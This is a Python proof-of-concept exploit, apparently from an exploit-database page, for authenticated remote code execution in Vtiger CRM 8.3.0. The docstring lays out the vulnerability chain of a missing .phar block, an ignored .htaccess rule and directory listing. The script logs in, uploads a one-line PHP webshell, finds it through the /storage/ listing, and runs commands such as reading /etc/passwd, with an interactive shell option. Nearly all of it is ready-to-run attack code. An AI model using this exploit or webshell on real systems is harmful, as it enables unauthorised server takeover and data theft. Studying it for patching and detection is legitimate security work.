Share
## https://sploitus.com/exploit?id=PACKETSTORM:225479
#!/usr/bin/env python3
"""
Vtiger CRM Authenticated RCE via .phar Upload
Affected versions: Vtiger CRM 8.3.0 (fresh wizard-installed instances where
'phar' is absent from upload_badext in config.inc.php)
Author: jiva (jivasecurity.com)
Three-component exploit chain:
1. .phar extension missing from the upload blacklist ($upload_badext in config.inc.php)
2. storage/.htaccess uses Apache 2.2 'deny from all' syntax -- silently ignored
on Apache 2.4 without mod_access_compat, making storage/ files web-accessible
3. Apache directory listing enabled on /storage/ -- exposes uploaded filename,
eliminating the only remaining obstacle (filename unpredictability)
Exploit flow:
1. Authenticate as any user with Documents module access
2. Upload a .phar webshell via the Documents module
3. Browse /storage/ directory listing to discover the stored filename
4. GET the .phar file to trigger PHP execution
Usage:
python3 Vtiger-8.3.0-RCE-PoC.py --host 192.168.6.16 --port 8080
python3 Vtiger-8.3.0-RCE-PoC.py --host 192.168.6.16 -u jsmith -p password1 --cmd whoami
python3 Vtiger-8.3.0-RCE-PoC.py --host 192.168.6.16 --cmd 'cat /etc/passwd'
Requirements:
pip3 install requests
"""
import argparse
import datetime
import re
import sys
import requests
requests.packages.urllib3.disable_warnings()
WEBSHELL = b'<?php system($_GET["cmd"]); ?>'
def get_csrf(session, url):
resp = session.get(url, verify=False)
# Try JS variable first, then hidden input form
m = re.search(r'csrfMagicToken\s*=\s*["\']([^"\']+)["\']', resp.text)
if not m:
m = re.search(r'name=["\']__vtrftk["\']\s+value=["\']([^"\']+)["\']', resp.text)
if not m:
sys.exit(f"[!] CSRF token not found at {url}")
return m.group(1)
def login(session, base, username, password):
csrf = get_csrf(session, f"{base}/index.php")
resp = session.post(
f"{base}/index.php",
data={
"__vtrftk": csrf,
"module": "Users",
"action": "Login",
"username": username,
"password": password,
},
allow_redirects=True,
verify=False,
)
if "logout" not in resp.text.lower():
sys.exit("[!] Login failed โ check credentials and target URL")
print(f"[+] Authenticated as {username!r}")
def upload_webshell(session, base):
csrf = get_csrf(session, f"{base}/index.php?module=Documents&view=Edit")
resp = session.post(
f"{base}/index.php",
data={
"__vtrftk": csrf,
"module": "Documents",
"action": "Save",
"record": "",
"notes_title": "report",
"folderid": "1",
"assigned_user_id": "1",
"notecontent": "test",
"filelocationtype": "I",
"filestatus": "1",
"fileversion": "1",
},
files={"filename": ("shell.phar", WEBSHELL, "application/octet-stream")},
allow_redirects=False,
verify=False,
)
if resp.status_code not in (301, 302):
print(f"[!] Upload did not redirect (HTTP {resp.status_code})")
print(" Possible causes:")
print(" - 'phar' is in the upload_badext blocklist on this instance")
print(" (applies to instances not installed via wizard, or with manual config)")
print(" - User lacks Documents module write access")
sys.exit(1)
print("[+] Webshell uploaded")
def find_shell(session, base):
now = datetime.datetime.now()
week = (now.day - 1) // 7 + 1
# Check current week first, then adjacent weeks to handle edge cases
candidates = [
(now.year, now.strftime("%B"), f"week{week}"),
(now.year, now.strftime("%B"), f"week{max(1, week - 1)}"),
]
for year, month, week_dir in candidates:
url = f"{base}/storage/{year}/{month}/{week_dir}/"
resp = session.get(url, verify=False)
if resp.status_code != 200 or "Index of" not in resp.text:
continue
m = re.search(r'href="(\d+_[a-f0-9]+\.phar)"', resp.text)
if m:
shell_url = url + m.group(1)
print(f"[+] Shell found via directory listing: {shell_url}")
return shell_url
sys.exit(
"[!] .phar file not found in directory listing.\n"
" Check that Apache directory listing is enabled on /storage/\n"
" and that the upload succeeded."
)
def execute(session, shell_url, cmd):
resp = session.get(shell_url, params={"cmd": cmd}, verify=False)
if resp.status_code != 200 or not resp.text.strip():
print(f"[!] Shell returned HTTP {resp.status_code} with empty body")
print(" The .phar file may not be executing as PHP.")
print(" Check that mod_access_compat is NOT loaded in Apache.")
sys.exit(1)
return resp.text.strip()
def main():
ap = argparse.ArgumentParser(
description="Vtiger CRM authenticated RCE via .phar upload",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog=(
"Note: Exploitable on instances where 'phar' is absent from $upload_badext\n"
" (fresh wizard-installed instances). Requires Apache 2.4 without\n"
" mod_access_compat and directory listing enabled on /storage/."
),
)
ap.add_argument("--host", required=True, help="Target host")
ap.add_argument("--port", type=int, default=8080, help="Target port (default: 8080)")
ap.add_argument("-u", "--username", default="admin", help="Username (default: admin)")
ap.add_argument("-p", "--password", default="admin", help="Password (default: admin)")
ap.add_argument("--cmd", default="id", help="Command to execute (default: id)")
ap.add_argument("--shell", action="store_true",
help="Drop to interactive shell loop after initial RCE confirmation")
args = ap.parse_args()
base = f"http://{args.host}:{args.port}"
session = requests.Session()
session.headers["User-Agent"] = "Mozilla/5.0"
print(f"[*] Target: {base}")
print(f"[*] Vtiger CRM .phar upload RCE")
login(session, base, args.username, args.password)
upload_webshell(session, base)
shell_url = find_shell(session, base)
output = execute(session, shell_url, args.cmd)
print(f"\n$ {args.cmd}")
print(output)
if args.shell:
print(f"\n[*] Interactive shell โ Ctrl+C to exit")
print(f"[*] Shell URL: {shell_url}?cmd=<command>\n")
while True:
try:
cmd = input("$ ").strip()
if not cmd:
continue
print(execute(session, shell_url, cmd))
except KeyboardInterrupt:
print("\n[*] Exiting")
break
if __name__ == "__main__":
main()